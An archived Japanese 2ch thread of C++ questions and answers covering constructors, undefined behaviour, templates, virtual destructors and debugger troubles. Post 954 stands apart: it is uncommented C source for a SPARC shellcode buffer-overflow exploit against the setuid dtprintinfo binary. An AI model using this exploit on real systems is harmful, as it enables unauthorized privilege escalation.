NGNG0815デフォルトの名無しさん
NGNG0816デフォルトの名無しさん
NGNG{
public:
A();
A(int i) {
new(this) A();
}
};
どうよ?
0817デフォルトの名無しさん
NGNG0818デフォルトの名無しさん
NGNGhack くさいコードだな…
それ、継承してたりすると、親クラスのコンストラクタが複数回呼ばれて
場合によっては悲劇になったりしない?
(このケースなら素直に A(int i = 0) とかデフォルト値を与えれば終わり
だが、それじゃ済まんケースもあるんだよな)
0819デフォルトの名無しさん
NGNG0820デフォルトの名無しさん
NGNG>>818 あんた、スルドイ。
0821デフォルトの名無しさん
NGNGそれ、終了処理はどうすんの? placement newしたんなら、自前でデストラクタを
呼ばなきゃならないんじゃないの? どこで呼ぶの?
0822デフォルトの名無しさん
NGNGA() {/*処理*/}
A(int i) {A(); /*処理*/}
と、こんな感じのコードだったんですが、
継承してると確かに親のコンストラクタを2回呼びますね。気づきませんでした。
今まで通り、初期化関数呼んでおきます。聞いておいて良かったです。どうもでした。
0823816
NGNGいや、ネタだったんですが。
816のようにするなら普通に非virtualのイニシャライザを呼びます。
>>822
それってAの一時オブジェクトを作ってすぐ破棄してるだけだから
コンストラクタ呼び出しにはならない。
0825デフォルトの名無しさん
NGNG0826デフォルトの名無しさん
NGNGなるほど、トレースしてA()が呼ばれてたので、
あ、いける。と思ってしまいました。
呼ばれてたのは一時オブジェクトのコンストラクタだったんですね。
0827デフォルトの名無しさん
NGNGこの内容を標準出力に出力するにはどうかきますか?
std::copy(stringlist.begin(), stringlist.end(), std::ostream_iterator< std::string >(std::cout);
これだと外部シンボルがないとか怒られます。
0828デフォルトの名無しさん
NGNG最後に ) を補いさえすれば、bcc5.51とgcc2.96ではそのコードで通ったが。
あるいは
using namespace boost::lambda;
std::for_each( stringlist.begin(), stringlist.end(), std::cout<<_1 );
0829デフォルトの名無しさん
NGNG#include <iterator> を忘れているとか。
0830デフォルトの名無しさん
NGNGostream_iterator<string,char>が省けないとか
0831デフォルトの名無しさん
NGNGだとggg()が先に呼ばれますが(vc6)
これは仕様ですか?
0832デフォルトの名無しさん
NGNGそのcall順は規定されてないはず。
0833デフォルトの名無しさん
NGNG0834デフォルトの名無しさん
NGNG0835デフォルトの名無しさん
NGNGbool b = i++ < i;
bにどちらが入るのか規定してないですよね?
0836デフォルトの名無しさん
NGNGbは常にfalseだろ…
0837デフォルトの名無しさん
NGNGbcc,vc++6 -> 0(false)
g++2.95(cygwin) -> 1(true)
今やってみたらこの結果だったのですが・・・。
0838デフォルトの名無しさん
NGNG未定義だろう。i++ については
値は i そのもの。結果が得られた後で i はインクリメントされる。
と規定されているだけで「結果を得るタイミング」に関しては、何も言ってない。
最初に二項演算子の前の i++ が評価されるか、それとも後の i が評価される
かで話が変わってくる。
0839836
NGNG\ ヽ \
ヽ ゙! / ̄ ̄ ̄ ̄ ̄ ̄ ̄
/ |< >>837 コンパイラや規格がおかしい
/ ,.イ \_______
∠___/ :|`ヽ.、
ノ '! \-、
_,.=''1 ヽ, `'
ヽ'" i| |
! |
0840デフォルトの名無しさん
NGNG確かにC/C++の規格はおかしいが。
0841デフォルトの名無しさん
NGNGそのキャラは、頼むから UNIX 板に隔離しておいてくれ(w
0842デフォルトの名無しさん
NGNG0843デフォルトの名無しさん
NGNGそのクラスがばかでかかったら、
ポインタにして new & delete したほうがいいんでしょうか?
スタック領域よりヒープ領域のほうがサイズでかいですよね?
というか、スタック領域のメモリの確保に失敗したらどうなるんだろ・・・。
0844デフォルトの名無しさん
NGNGばかでかいとは?
クラスの占有メモリorクラス定義
ヒープの方がでかいって?
スタックの1バイトよりヒープの1バイトの方がでかいとか?
スタックの確保に失敗したらcore吐いたりaccess violationで落とされたりOSごと死んだりいろいろ
0845デフォルトの名無しさん
NGNG> ヒープの方がでかいって?
そのままの意味だと思うが……。
0846デフォルトの名無しさん
NGNG気にしなくて良いだろ。だいたいクラス定義がどうなってようが、インスタンスを
自動変数で取るか new/delete するかはユーザ次第なんだから。
class Big {
int ary[50 * 1024 * 1024];
};
int main() {
Big b; // たぶん死ぬ
std::auto_ptr<Big> pb(new Big); // たぶん OK
}
0847デフォルトの名無しさん
NGNGユーザがどう使おうがヒープに取りたいって話なんでわ?
0848843
NGNGclass Big
{
private:
int *p;
public:
Big() : p( NULL ) { p = new int[50*1024*1024]; }
~Big(){ delete [] p; }
};
こうしようかと迷っていたところです。
スタックの確保に失敗した場合は、プログラムを安全に終了できないということは、
std::bad_alloc の保険がある new に切り替えたほうが無難みたいですね。
実際は、ひとつのクラスでスタックを大量に消費するんじゃなくて、
いろんなクラスで少しずつ食いつぶしていきそうだったので、
ちょっと不安になって質問させてもらいました。
レスありがとうございました。
0849デフォルトの名無しさん
NGNG↓
Big() : p(new int[50*1024*1024]) {}
のほうがいいよ。
0850デフォルトの名無しさん
NGNGよくない。
非constな値だから初期化リストに含めないと逝けない理由もないし、
初期化リスト中での例外を捕まえられない処理系がある
VCとかVCとかVCとか。
0851デフォルトの名無しさん
NGNGBig()
try :p(new int[50*1024*1024])
{
}
catch(...)
{
}
対応してる処理系ってあるっけ?gcc対応してた?
0852デフォルトの名無しさん
NGNGclass Big
{
std::vector<int> vector;
public:
Big() : vector(50*1024*1024) {}
};
かと。
0853デフォルトの名無しさん
NGNGそれも例外がでる。
0854デフォルトの名無しさん
NGNG例外が出たら正解じゃないの?
0855デフォルトの名無しさん
NGNG関数の引数の評価順序は不定の動作
未定義の動作:正しくないプログラム
不定の動作:正しいが再現性はない
処理系依存:正しく再現性もあるが、処理系により異なる
0856デフォルトの名無しさん
NGNG「正しい / 正しくない」の評価基準が分からんな。文法的に正しい/正しくない
という話なら
i++ + i++
だって正しいし。ANSI C++ の規格書では、「不定の動作」に対応する語は何で
すか?
(値が不定という使い方はよく見るけど、不定の動作ってのは初めて見た気が)
0857デフォルトの名無しさん
NGNGこんな構文あったんだ……。知らんかったよ。
でも、どうゆう状況で使うの?
0858デフォルトの名無しさん
NGNGcatch 節の後ろに何も無いから、例外の型が変換できるくらいかなぁ。
0859デフォルトの名無しさん
NGNGretry構文が欲しい
0860デフォルトの名無しさん
NGNG0861デフォルトの名無しさん
NGNG0862デフォルトの名無しさん
NGNG0863デフォルトの名無しさん
NGNGANSI C/C++ 辞典より
未定義の動作 : undefined behavior
不定の動作 : unspecified behavior
処理系定義の動作 : implementation-defined behavior
未定義の動作は正常なプログラムでは起きない
i++ + i++; はたぶん不定の動作なので正常なプログラム
整数演算のオーバーフローは未定義の動作なので
正常でないプログラム
0864デフォルトの名無しさん
NGNG0865デフォルトの名無しさん
NGNG未定義じゃなかったっけ。
0866デフォルトの名無しさん
NGNG0867デフォルトの名無しさん
NGNG0868デフォルトの名無しさん
NGNGじゃないのか?
0870デフォルトの名無しさん
NGNGそいつは不定じゃなくて未定義
何故かは知らん
0871デフォルトの名無しさん
NGNGANSI/ISOでは、本来は不定の動作のものをいくつか未定義と
したのでは?それだけ厳しくなったという事ですね。
0872838
NGNGC99 の規格書には、次のように用語定義がなされている。
3.4.1
1 implementation-defined behavior
unspecified behavior where each implementation documents how the choice is made
3.4.3
1. undefined behavior
behavior, upon use of a nonportable or erroneous program construct or of erroneous data,
for which this International Standard imposes no requirements
3.4.4
1. unspecified behavior
behavior where this International Standard provides two or more possibilities and
imposes no further requirements on which is chosen in any instance
>>855 の「正しい」というのは、規格書で規定があるっつー意味かね。規定がないこと
に関しては何とも言えんから、結果も分からん、いきなりプログラムが異常終了する
かもしれないし鼻から悪魔が出てくるかも、ということで。
不定の動作は、規定はあるが複数の可能性を残してあるので、やっぱり結果は一意
に決まらないという意味か。ただし、いきなりプログラムが死んだりはしない。
コンパイラ屋さんにとっては「未定義」「不定の動作」の区別をする意味はあるけど、
ユーザからはどちらも絶対に避けるべきモノということで、厳密に区別して考えなく
とも良い気がする。処理系依存は割り切って使うなら OK だから、これは区別しな
いとマズい。
0873デフォルトの名無しさん
NGNG#if constant-expression new-line group
とあったのだけれども定数式ということは
つまり、そういうことだよね?
0874デフォルトの名無しさん
NGNG0875デフォルトの名無しさん
NGNG#if VALUE > 10
cout<<"Anything"<<endl;
#endif
昔、#ifの条件部は通常の演算子が置けないとか
書いてあったけど文法的にこれはOKでしょ?
コンパイラ通ったし
0876デフォルトの名無しさん
NGNGハードよりの領域でアセンブラとC言語を十数年やってきた
オヤジがC++を勉強するということ(つまり自分)を考えた
場合、お勧めの本あるでしょうか?
0877デフォルトの名無しさん
NGNGとりあえずバイブルかな…
あとEffectiveC++
それを読んだら、オブジェクト指向関連の本に進めばいいかな。
0878デフォルトの名無しさん
NGNGみんなどんな感じにしてますか?
1.Encode/Decodeメソッドを持つクラスを作り、状態をラップする。
1-1.結果は逐次利用者が指定したバッファに書き込む
1-2.結果は、内部でバッファを構築し、フラッシュ時に受け取る
3 iostreamクラスのproxyにする
4 algorithmにして、イテレータベースでいじくり回す
5 その他
1-1の形式を取るライブラリが多いけど、なんかダサイ
1-2 使用方法が簡潔になるけど、巨大ファイルのエンコードをするときにメモリを莫大に消費する
3 実装が面倒、オブジェクトが大きくなる
4 基本的にCと代わり映えがしない。そもそも、void*やunsigned char*以外を受け取る意味がない。
5 全く想像がつかない
と言うことで、どれを採用したらいいのか迷ってます。
アドバイスお願いします。
0879デフォルトの名無しさん
NGNGデータがブロックとして入力/出力されるとか、ブロックサイズが不定だとか
いろいろな条件をうまく処理するのは面倒だねえ。
文字コード変換(例:iconv)や、audio/videoのコーデック(例:ACM)、
圧縮/変換ライブラリ(zlib,lha,etc)など、
参考になるものが沢山あるので一つずつ当たってみては。
0880デフォルトの名無しさん
NGNGCをマスターされてるんなら、Accelerated C++がお勧め。
C++の超便利ライブラリ『STL』を、ほぼCの文法だけで
使ってあるのが特徴。クラスやオブジェクト志向は後回しにして、
まずC++の便利さから入ってるから、Cマスターな方がC++に
入っていくのにぴったりだと思う。
>>877の『バイブル』ってのは、プログラミング言語C++ 第3版の
ことね。
Effective C++ は、C++をちょっとわかりかけてきたころに読む本。
ム板でC++について何か会話をしたかったら、その前に絶対に
読んどけよってぐらいの必読書。
0881880
NGNG0882デフォルトの名無しさん
NGNGVC++を見て詐欺にあったような形相で抗議して来るに++
0883名無しさん
NGNG#pragma warning(disable : 4786)で消せるけど
デバッグできなくて鬱
helpの例みたいに#defineでいろいろ短く定義したけど
コンパイルとーらねー
なんかいい方法ない?
0884デフォルトの名無しさん
NGNG普通はSTLは無条件に信頼して進む物だと思うが。
どうしてもおかしい場合のみ中に進む、と。
0885デフォルトの名無しさん
NGNGたとえ STL の実装にバグが無くとも
コンテナに無効なポインタが入っていて、それを algorithm 経由で参照して
プログラムが異常終了した
とかだと、STL の実装まで下りていってチェックしたくなると思うよ。
0886名無しさん
NGNGvcハングしちゃうでしょ、ステップ実行してると
xpだと頻繁にハングるんでもー鬱で鬱で
0887デフォルトの名無しさん
NGNG0888デフォルトの名無しさん
NGNG柴田望洋 著「新装版 CプログラマのためのC++入門」タイトルどおりの本です。
この本は実際にC->C++移行を果たすきっかけになりました。読みやすく、分かり
やすい本だと思います。リファレンス本等はこれを読んでからで良いと思いますよ。
CからC++への移行は、構文とかよりも、「手続き型プログラミング」から
「オブジェクト指向」への発想の転換が重要だし、難しいところと思いました。
がんばって移行してください。
0889デフォルトの名無しさん
NGNG>「オブジェクト指向」への発想の転換が重要
禿同。
0890デフォルトの名無しさん
NGNG0891デフォルトの名無しさん
NGNGそんな君らにはJavaの謎+落とし穴
をお勧めする。
0892デフォルトの名無しさん
NGNG0893デフォルトの名無しさん
NGNG0894デフォルトの名無しさん
NGNG888にも書いてあるように、発想の転換が重要と思われます。
C++では、クラスという新しい概念が出てきます。これにいかに慣れるかが
まずは重要と思います。ほかにも新しい概念が出てきますが、この辺は
実際に作って慣れる(クラスを設計し、実装してみる)、という繰り返しに
なるかと思います。
個人的に苦労したのは、Cを使用していたときの癖を絶つことです。C++はCの
拡張版という側面もあり、C的な使い方も可能なので、慣れ親しんだ方法で
プログラムを書きがちでした。具体的には、クラスのメンバ関数として実装
すべきものをグローバルな(Cで言う普通の)関数で書いたりとかです。
クラスのメンバ関数って、今は何のことか分からないかもしれませんが、勉強
するとすぐに出てくると思います。
0895デフォルトの名無しさん
NGNGSTLportに_STL_DEBUGだかなんだかそんな感じのマクロをつけて使ってみるといいよ。
すでにやっててそれでも仲間で追いたいというならとめはしないが。
0896デフォルトの名無しさん
NGNGたとえば自作のクラスcstringでコンストラクタで
cstring(int n)とやってnバイトのバッファを確保させるとします。
これを
cstring *pstr = new cstring(10);
の様に使えますか?つまりこの場合コンストラクタの返り値の型が合うかどうか何ですが。
0897デフォルトの名無しさん
NGNG普通じゃん
0898デフォルトの名無しさん
NGNGコンストラクタって何を返すんだろう‥‥
0899デフォルトの名無しさん
NGNGコンストラクタでなくて、newの返り値ね。
0900デフォルトの名無しさん
NGNGコンストラクタに返り値はないですから。new はメモリに cstring を
確保したあとコンストラクタを実行して、最後に cstring へのポインタを
返します。
0901896
NGNG0902デフォルトの名無しさん
NGNGVC6 のデバッガ on Windows XP は、まともに動かんでしょ。Windows 2000
なら良いんだが、ねぇ。
>>895
それだと無効な iterator はチェックできるけど、無効なポインタはチェックで
きんよ。
0903デフォルトの名無しさん
NGNG> VC6 のデバッガ on Windows XP は、まともに動かんでしょ。
MAJIDE?
0904デフォルトの名無しさん
NGNG.NET買わせるため。
0905デフォルトの名無しさん
NGNG0906デフォルトの名無しさん
NGNG0907デフォルトの名無しさん
NGNGたとえば
bool cposition :: islittle(cposition *pos1, cposition *pos2)
{
return (pos1->n < pos2->n);
}
とやって
cposition a,b;
if(a.islittle(&a, &b))…
ってやったらかなり変ですか?
それとも
if(cposition::islittle(&a, &b))…
でしょうか?
0908デフォルトの名無しさん
NGNG0909デフォルトの名無しさん
NGNGこの場合って<、>、<=、>=、==と別々に実装するんですか?
多分そうだとは思いますが。。。
0910デフォルトの名無しさん
NGNGもちろん別々。
但し、"<" ==" !>="、">" == "!<=", "==" == "!<" && "!>"として
簡略化可能。
0911デフォルトの名無しさん
NGNG0912デフォルトの名無しさん
NGNGやはり勉強するならC++よりも先にCでしょうか?
0913デフォルトの名無しさん
NGNGつかスレ違いかもよ
0914デフォルトの名無しさん
NGNGありがとうございます
特に仕事等で使うわけではありませんので
Javaをやってみます
0915デフォルトの名無しさん
NGNGJavaもいいけど、C++に直接入った方が遠回りしなくて済むよ。
CのDirtyなテクニックを覚える前にC++やった方が、悩まなくて済むし。
0916デフォルトの名無しさん
NGNG何とかコンパイルを通らせる方法はないものでしょうか。
template <class T>
struct MyAverage : public binary_function<T, T, T> {
T operator()(T x1, T x2);
};
template <class T>
T MyAverage<T>::operator()(T x1, T x2)
{
return (x1 + x2) / 2;
}
char MyAverage<char>::operator()(char x1, char x2)
{
cout << "この用法はサポートされていません。" << endl;
return 0x0;
}
0917デフォルトの名無しさん
NGNG0918デフォルトの名無しさん
NGNGありがとうございますぅ!バッチリでした!
0919デフォルトの名無しさん
NGNGおそレスだが、.NETのデバッガもまともに動きません
0920デフォルトの名無しさん
NGNG他社IMEに乗り換えると改善した気がする < WinXPでのデバッガフリーズ問題
0921デフォルトの名無しさん
NGNG言語バー無効にしようが
タスクバーから出そうが
アンチウィルス消そうが使い物になりません。
IMEタスクバー&トレイからだせば
3割の環境で起動します。
うちの環境のXPでは。
他社のIME使えば改善する、
初めて聞きました。
ATOKでも使って試してみます。
情報サンクス。
0922デフォルトの名無しさん
NGNGごめん。
0923デフォルトの名無しさん
NGNG0924デフォルトの名無しさん
NGNGそういう思い込みは(以下略
0925デフォルトの名無しさん
NGNGスマソ、間違い、IMEなんかって書いてある気になってた。
漏れ、ATOK使ってないよ。IME2000だよ。
だから許してたもれ。
0926876
NGNGVC++では簡単なアプリはすぐ書けるようになったんですが、
なんというか、C++を使ってるという実感に乏しいというか・・・
頭が切り替わってないというか、問題をオブジェクト指向で
捉えてないからなんでしょうね。
がんばります。
0927PC用語くらいちゃんと使え委員会 ◆u/7XlPOM
NGNGMS-IME2002
IMEはMSだけの物じゃない。
0928デフォルトの名無しさん
NGNG言い忘れてました。
うちの環境ではVC6.0では
OSはXPでも2000でもデバッガフリーズします。
.NETは2000で試してませんが。
タスクバーからMS-IMEを出すと
90%のフリーズ率が30%になります(だいたい
で報告なんですが↑で聞いたとおり
ATOK15導入してみたら今のところ
100%デバッガ普通に動きます(XP&.NET)
1年間デバッグはMessageBoxを使ってやってきたので
感激です。さすがに疲れました。
情報サンクス!やっとデバッグがまともにできるっ!!
長文失礼。
0929デフォルトの名無しさん
NGNGAppendChild(Child *);
};
class Child {
Parent* GetParent();
};
みたいに書きたいのですが、
上の場合だとParentの宣言のときにChildの宣言がないため
コンパイル通りません。なんかよい方法ありませんか。
拾ってきたソース真似して
class Child;
class Parent{ ... };
class Child{ ... };
ってしたんですがコンパイル通らなくて
環境はWinXP + Borland C++ Compiler です。
0930デフォルトの名無しさん
NGNG0931929
NGNGいえ、書いてません。
引数宣言と、上の例でのParentのメンバ変数でChildを使ってるだけなんですが
0932デフォルトの名無しさん
NGNGエラーメッセージは?
0934デフォルトの名無しさん
NGNG0935929
NGNG実際のソースはちゃんと型名つけてます。上のは例ということで…
文法的にはクラスAの宣言でクラスBを使うとき
class B;
class A{...};
class B{...};
というのはアリなんでしょうか?
でAの宣言中ではBのメソッドやらを使ってはだめ、と(当然ですけど)
手元にソース&環境がないので今言われたことをヒントに
家に帰っていろいろいじってみます。
ありがとうございました
0936デフォルトの名無しさん
NGNG0937デフォルトの名無しさん
NGNG>引数宣言と、上の例でのParentのメンバ変数でChildを使ってるだけなんですが
Parentのメンバ変数にChild?それはまずいが、書き間違い?
0938デフォルトの名無しさん
NGNG普通に通るぞ。
#include <iostream>
using namespace std;
class Child;
class Parent {
public:
void AppendChild(Child *c) { cout << hex << c << endl; }
};
class Child {
public:
Parent* GetParent(Parent &p) { return &p; }
};
int main()
{
Parent p;
Child c;
p.AppendChild(&c);
cout << hex << c.GetParent(p);
}
0939デフォルトの名無しさん
NGNGまだ定義がされてないクラスは直接のメンバにはなれません。
そのクラスのポインタ等だったらできるけど
× Child c;
○ Child *c;
0940938
NGNG0941929
NGNG0942デフォルトの名無しさん
NGNG0943デフォルトの名無しさん
NGNGtemplate <typename T1,typename T2>
class B{};
template <typename T1,typename T2>
class B<T1,A<T2>>{};
こんな感じのソースが、GCCのヘッダにあったのですが、
テンプレイトの特殊化なのでしょうか?
ふつうなら、
template<>classB<ここに型を書く>
見たいな感じだと思うんですが・・・・・・
0944デフォルトの名無しさん
NGNG<>は何に使うのでしょう?
てんぷれーとを表すにはtemplateで十分な訳だ。
0945デフォルトの名無しさん
NGNG0946943
NGNG特注かだとは思うんですが、こんな書き方見たと着なかったので・・・・
0947デフォルトの名無しさん
NGNG特殊化とは違う。
0948デフォルトの名無しさん
NGNGこれこそ VC++ では使えないといわれている伝説の部分特殊化
0949デフォルトの名無しさん
NGNG0950デフォルトの名無しさん
NGNGMSはC/C++は捨てました
0951デフォルトの名無しさん
NGNGほう、ということは次期WindowsはC#で組まれるのかいな?
やめてくれ・・・・
0952デフォルトの名無しさん
NGNGいえ、Delphiです
0953デフォルトの名無しさん
NGNG0954デフォルトの名無しさん
NGNG#define OFFSET 1144
#define STARTADR 724
#define BUFSIZE 900
#define NOP 0xa61cc013
static char x[1000];
unsigned long ret_adr;
int i;
char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
main()
{
putenv("LANG=");
for (i = 0; i < ADJUST; i++) x[i]=0x11;
for (i = ADJUST; i < 900; i+=4){
x[i+3]=NOP & 0xff;
x[i+2]=(NOP >> 8 ) &0xff;
x[i+1]=(NOP >> 16 ) &0xff;
x[i+0]=(NOP >> 24 ) &0xff;
}
for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
ret_adr=get_sp()-OFFSET;
printf("jumping address : %lx\n",ret_adr);
if ((ret_adr & 0xff) ==0 ){
ret_adr -=16;
printf("New jumping address : %lx\n",ret_adr);
}
for (i = ADJUST; i < 600 ; i+=4){
x[i+3]=ret_adr & 0xff;
x[i+2]=(ret_adr >> 8 ) &0xff;
x[i+1]=(ret_adr >> 16 ) &0xff;
x[i+0]=(ret_adr >> 24 ) &0xff;
}
x[BUFSIZE]=0;
execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0);
}
0955デフォルトの名無しさん
NGNG0956デフォルトの名無しさん
NGNGメモリ内にあるデータをぜんぶディスクに書き出したり、逆に読み出したり
するにはどのようにしたらいいのでしょうか。
0957デフォルトの名無しさん
NGNGifstream、ofstream、first()、second()、std::map::iterator、begin()、end()
0958デフォルトの名無しさん
NGNG普通にfor_eachとかcopyを使って書き出せる
0959デフォルトの名無しさん
NGNGどーやるの?
0960デフォルトの名無しさん
NGNG0961デフォルトの名無しさん
NGNG0962デフォルトの名無しさん
NGNGテンプレートの解釈と処理に関しては、まずコンパイル時に
二段階の手順があると考えると分かりやすいです。
1 部分的特殊化された中からのテンプレートクラスの選択
2 テンプレートパラメータを解釈してクラスを生成
そして2の部分ですが、これはtemplate<class T1, class T2>の
ように、クラス内において使用時までそれが決定されない要素を
記述しておいて、実際に型をもらい受けたらクラスを生成します。
テンプレートクラスにおける未定義の要素を記述する"だけ"だと
考えていいと思います。
で、1ですがこれは943さんが書いている通り、
template<>class<決定済みの型>
と書いてある部分的特殊化されたクラスの一覧から最適なものを選ぶ
わけですが、この選択方法の詳細は正直あまりよく分かってません(w
とりあえず、上の例に照らし合わせて何かいうとしたら、
template <typename T1,typename T2> class B{}; ←(a)
template <typename T1,typename T2> class B<T1,A<T2> >{}; ←(b)
(a)はBの実体化集合の全てを意味します。特殊化されない場合は
このテンプレートクラスが選択されるというわけです。
(b)が意味しているのは二つ目のテンプレートパラメータが、
クラス Aというテンプレートパラメータを一つ受け取る型を受けたときに
選択されるということになります。
具体例としては B<int, A<int> > b; こんな時に選択されます。
上の解釈はいい加減なのでつっこみ待ってます: )
0963デフォルトの名無しさん
NGNG○特殊化されたテンプレートクラスにマッチしない場合
0964962
NGNG関数にはテンプレートの部分的特殊化は適応されないのですが、
それをオーバーロードで代用する方法も載っていて面白いです。
是非一読をお薦めします
0965962
NGNG汎用テンプレートはなくてもいいみたいです。
template<int>class A{}; ←(a)
tempalte<>class A<3>{}; ←(b)
こういうのもありみたいです(^^;
template<class T>class A{};という汎用テンプレートは
必要ないし、エラーになります!
A<3> a;とすれば(b)が選択されます。
A<3>というケースしか認めないようにしたい場合は
(a)を削除するのではなく(そうするとエラーになる)、
template<int>class A; と(a)変更するればいいみたいです。
(ModernC++Design Page:x より)
テンプレートパラメータが<class T>のように汎化のときには
具体的な型で特殊化。テンプレートパラメータとして
プリミティブ型が指定されているときには、定数値で特殊化。
といった感じでしょうか。
あと紛らわしいのは、
template<template<class>class T>class A{}; という形。
これは汎用テンプレートです。これは特殊化とは関係なく、
テンプレートパラメータとして受取る型を「テンプレートパラメータを一つ
受取るテンプレートクラス」に限定するよう機能します。
<class>とテンプレートパラメータを省略できるのは、
それをクラス内において使用できないことに理由があるみたいです。
引き続きつっこみ待ってます: )
0966962
NGNG当然汎用テンプレートを二つ宣言することはできません。
template<class T>class A{};
template<class T1,class T2>class A{};
template<template<class>class T>class A{};
こういうのは当然エラーです。どれか一つしか使えません。
ただしこれはテンプレートパラメータの数が同じでなくてはいけないという
意味ではないようです。部分的特殊化をする部位において、
汎用テンプレートと同じパラメータ数になっていればOKらしいです。
LokiのFunctorImplが参考になります。
汎用テンプレートにおいてパラメータの個数を、
template<class T1, class T2> (この場合は二個)のようにして指定しますが、
部分的特殊化されたクラスにおいては同様の場所は
パラメータの数が同じである必要はありません。
ただし一つ重要なことにパラメータは部分的特殊化部位
class A<xxx,yyy> において全て使わなくてはなりません。
あと上でテンプレートパラメータのテンプレートパラメータを使うことは
できないと書きましたが、それはある一面においては間違いです。
FunctorImplにおいて、
template <typename R, typename P1, template <class> class ThreadingModel>
class FunctorImpl<R, TYPELIST_1(P1), ThreadingModel>
となっている部分において、P1をクラス内で使うために取り出しています。
もちろん上のThreadingModelのパラメータは使うことはできません。
引き続きつっこみお待ちしております: )_
0967デフォルトの名無しさん
NGNGコンストラクタでメモリをアロケートする様な場合、
それが失敗した場合は例外をスルーするのが一般的でしょうか?
みなさんはどう設計しますか??
0968デフォルトの名無しさん
NGNG正解です。
0969デフォルトの名無しさん
NGNG0970デフォルトの名無しさん
NGNGデストラクタに関してであります。
なんで、デストラクタは virtual のほうがよいの?
継承後のクラスのデストラクタで、親のデストラクタを呼ぶのじゃだめ???
0971デフォルトの名無しさん
NGNGそもそも継承後のデストラクタ自体が呼ばれないのでダメ
0972デフォルトの名無しさん
NGNGvirtual宣言されてないと、継承したデストラクタを呼び出してくれないから。
0973デフォルトの名無しさん
NGNGつか、親デストラクタは勝手に呼ばれます。
0974デフォルトの名無しさん
NGNG親のデストラクタしか呼ばれないってところに問題があるんじゃないのか。
0975デフォルトの名無しさん
NGNGヒント 多態
0976デフォルトの名無しさん
NGNG0977デフォルトの名無しさん
NGNGしかし、親のポインタからデストラクタを呼び出した場合、指している先が
継承した子のオブジェクトである場合、virtual宣言されていないと継承先
のデストラクタは呼んでくれない。
0978デフォルトの名無しさん
NGNGコンストラクタとデストラクタの実行順が問題になる。
コンストラクタは親→子の順で実行される。
コアが最初にできて段々大きくなっていくイメージ。
デストラクタは子から呼ばれる。
段々小さくなっていき最後にはなにもなくなってしまうイメージ。
たまねぎを想像しる。
0979デフォルトの名無しさん
NGNG0980デフォルトの名無しさん
NGNG0981デフォルトの名無しさん
NGNG0982970
NGNG>>976
多態がやっとわかったきがします。
>>977
ということは、親のポインタを delete した場合のために必要ってことでしょうか?
つまり、親クラスとしてA、子クラスとしてB,Cがあるとします。
子クラスを入れた親クラスのポインタを delete することで、B,Cを区別なく delete できるってことですね。
おかげで、わかりました。
ありがとうございます。
1つ賢くなった!
0983aaaa
NGNG誰か頼みます。m(_ _)m
0984デフォルトの名無しさん
NGNGC++関係ね〜じゃね〜かよ
for 使え。
0985デフォルトの名無しさん
NGNG0986デフォルトの名無しさん
NGNGそれで、ポリモーフィズムと読む
0987デフォルトの名無しさん
NGNGa = pow(b, c);
0988デフォルトの名無しさん
NGNGわかってないといけないですが。
#include <iostream>
using namespace std;
template <int N>
class Factorial {
public:
enum {value = N * Factorial<N - 1>::value};
};
class Factorial<1>
{
public:
enum {value = 1};
};
int main()
{
Factorial<10> f;
cout << f.value << endl;
}
0989デフォルトの名無しさん
NGNG0990デフォルトの名無しさん
NGNG0991デフォルトの名無しさん
NGNG超ガイシュツだし、今更カコワルイ。
しかも、いちいちインスタンス生成してるのがダサ過ぎる。
さらに整数しか扱えないと言うダメさ。
0992デフォルトの名無しさん
NGNG>>987は恐らく階乗と累乗をごちゃ混ぜにしているのではないかと
小一時間。
0993デフォルトの名無しさん
NGNG整数以外の階乗の計算方法も超ガイシュツなんですか。とっても知りたい。
>>987と同類か?
0994デフォルトの名無しさん
NGNG6.392!とか!?
0995デフォルトの名無しさん
NGNG0996デフォルトの名無しさん
NGNGスターリンの公式なんてオチはなしよ。
0997デフォルトの名無しさん
NGNG0998デフォルトの名無しさん
NGNG0999デフォルトの名無しさん
NGNG1000デフォルトの名無しさん
NGNG10011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。